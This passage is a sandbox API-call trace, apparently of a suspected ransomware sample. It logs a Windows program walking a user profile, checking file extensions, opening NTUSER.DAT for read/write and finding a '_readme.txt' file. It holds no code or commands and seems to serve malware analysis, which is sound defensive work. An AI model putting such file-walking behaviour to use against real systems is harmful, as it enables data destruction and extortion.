RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d868 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d548 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e050 | out: hHeap=0x5d0000) returned 1 [0066.919] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d918 | out: hHeap=0x5d0000) returned 1 [0066.919] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175580 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.919] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e1b0 | out: hHeap=0x5d0000) returned 1 [0066.920] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d618 | out: hHeap=0x5d0000) returned 1 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9dd4bcc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9dd4bcc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa8) returned 0x315d2d0 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d618 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e208 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96562880, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96562880, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e208 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.920] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x16c) returned 0x30fb448 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d868 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cb20 [0066.920] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e208 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e1b0 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d068 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.921] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96777bc0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96777bc0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.921] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.921] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e050 [0066.921] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.921] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.921] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT") returned=".DAT" [0066.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\ntuser.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG1") returned=".LOG1" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.dat.LOG2") returned=".LOG2" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xb0) returned 0x3283be0 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned=".blf" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100) returned 0x327dc68 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned=".regtrans-ms" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f86da0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f86da0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x40b0f7f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x100) returned 0x327dc68 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned=".regtrans-ms" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cd94e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x32869b0 [0066.922] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\ntuser.ini") returned=".ini" [0066.922] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x96966da0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x96966da0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x214) returned 0x329f158 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d918 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d708 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x32553c8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255420 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327ccc0 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d478 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d4e0 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255478 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d2d8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x32554d0 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d270 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3255528 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x76) returned 0x3282148 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325dde8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d5a8 [0066.923] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0066.923] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0066.924] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33ef210, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb33ef210, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb33ef210, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.924] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned=".txt" [0066.924] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb33ef210, ftCreationTime.dwHighDateTime=0x1d54670, 